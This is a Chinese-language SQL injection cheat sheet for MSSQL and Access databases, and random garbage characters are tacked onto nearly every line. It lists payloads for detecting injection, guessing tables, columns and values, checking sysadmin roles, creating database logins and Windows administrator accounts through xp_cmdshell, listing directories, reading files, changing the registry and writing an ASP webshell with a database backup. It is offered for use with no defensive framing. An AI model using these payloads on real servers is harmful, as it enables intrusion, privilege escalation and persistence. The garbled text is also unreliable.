1.判断是否有注入;and 1=1 ;and 1=2 aB~=WWLR\
2.初步判断是否是mssql ;and user>0 Hg+bmwM
'dd[=vzK
3.注入参数是字符'and [查询条件] and ''=' :w26d-QR(
~J1UzUxX2
4.搜索时没过滤参数的'and [查询条件] and '%25'=' K;~I;G
u[LsH
5.判断数据库系统 tzG.)Uqs
&BRi& &f
;and (select count(*) from sysobjects)>0 mssql =R||c
}b]z+4Ua(
;and (select count(*) from msysobjects)>0 access X8
xY`$j'u
'8"$:y
hWiBLip,z
6.猜数据库 ;and (select Count(*) from [数据库名])>0 \aGTi
pB
fTV3lyk
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 T@on
ue7
DZU} p
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 7HEUmKb"
Kw&t\},8@
9.(1)猜字段的ascii值(access) { VFr8F0*H
|BE`ASW;
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 >?^_JEC6
Qr]`flQ8
(2)猜字段的ascii值(mssql) =.6JvX<d1*
, n47.S
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 b,-qyJW6
W[oQp2 =
10.测试权限结构(mssql) ck#MpQ!An
),4cb
%gV~e@|
!^(?C@TQ
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- S0p[Kt
/\UFJ
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ; +R
eGlPi|
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- dW"=/UW
3W"l}.&ZJ"
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6e At`L[K.
:eW`El
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- .#}`r`/
S2"H E`
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- vUgMfy&
J4q_}^/2w
;and 1=(select IS_MEMBER('db_owner'));-- fV5MI[t
0I"r*;9?K
Cc>+OUL
Tj,1]_`=V$
11.添加mssql和系统的帐户 lb<D,&+
61&A`
;exec master.dbo.sp_addlogin username;-- 4Y4QR[>IU3
;exec master.dbo.sp_password null,username,password;-- U|)CZcM
_Rm1-,3
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- GGkU$qp2~
i>=!6Hu2
;exec master.dbo.xp_cmdshell 'net user username password NT<vs"<B
DjveMs$d
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- n 8'#'^|
)XoIb[s"
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 45$FcK
si`h(VD9w
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )CUB7D)=
.u$o^; z!
F4
:#okt
#^eXnhj 9
12.(1)遍历目录 2H2Yxe7? -
PNhxF C.
;create table dirs(paths varchar(100), id int) ad,pHJ`
>}6V=r3[+
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5 p! rZ
hSF4-Vvb
;and (select top 1 paths from dirs)>0 _!Ir|j.A
;A;FR3=)
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) "vN~7%
IO}53zn<l
Z<@dM2b)
D:vX/mf;7
(2)遍历目录 ~mK|~x01@
9 Aq\1QC
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- !OL[1_-4|K
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1CpIK$/
0`%Ask
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 CKr5L
xdkC>o4>
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 u#~q86k
K *xca(6
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ;{f4E)t 7
qttJ*zu
_0E KE
}>< v7
13.mssql中的存储过程 qpXsQim$~
R.$1aqA}
xp_regenumvalues 注册表根键, 子键 kP,^c{
Xjs`iK=w
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 #f-pkeaeq
r`5svY
xp_regread 根键,子键,键值名 I*hzlE
5VhJ*^R`y
;exec xp_regread w-wap
/7jb&f
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 m%)Cw)t
7
wC`+^>WFo
xp_regwrite 根键,子键, 值名, 值类型, 值 m)Sdogt_
^q)AO?_
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 B`?}jJa9*
}`^DO
Ar
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 LMTz/M
uwo\FI
xp_regdeletevalue 根键,子键,值名 d_aHUmI^"
$s"{C"4q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 } za"rU
c=#V*<
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 x#c%+
"1|\V.>>;
O"V;otlC
nC(<eL
14.mssql的backup创建webshell =]m,7 v Rq
EUjA-L(
use model R8C#DB
()o[(Hx+ph
create table cmd(str image); z6x`O-\
gOLN7K-)
insert into cmd(str) values (''); jU0E=;1
uN+]q qCf
backup database model to disk='c:\l.asp'; "^NsbA+
4I!g?Moh
Z)'gj
w:c9Z=KX
15.mssql内置函数 Z,1b$:+
~>B`T%=H
;and (select @@version)>0 获得Windows的版本号 r}i}4K[1
45.Vr[FS.
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 8~ wP?
pxb4x#CC
;and (select user_name())>0 爆当前系统的连接用户 8KMo !p\i
t+Au6/Dx?
;and (select db_name())>0 得到当前连接的数据库 KGJ *h
_:7:ixN[Ie
kY^ k*-v
"X,*VQl:
16.简洁的webshell /_qW?LKG/
DVz_;m6)
use model p-XO4Pc6
L25%KGg'o
create table cmd(str image); )18C(V-x
6<mlx'
insert into cmd(str) values (''); \dJOZ2J<z
2KtK.2; 7
backup database model to disk='g:\wwwtest\l.asp';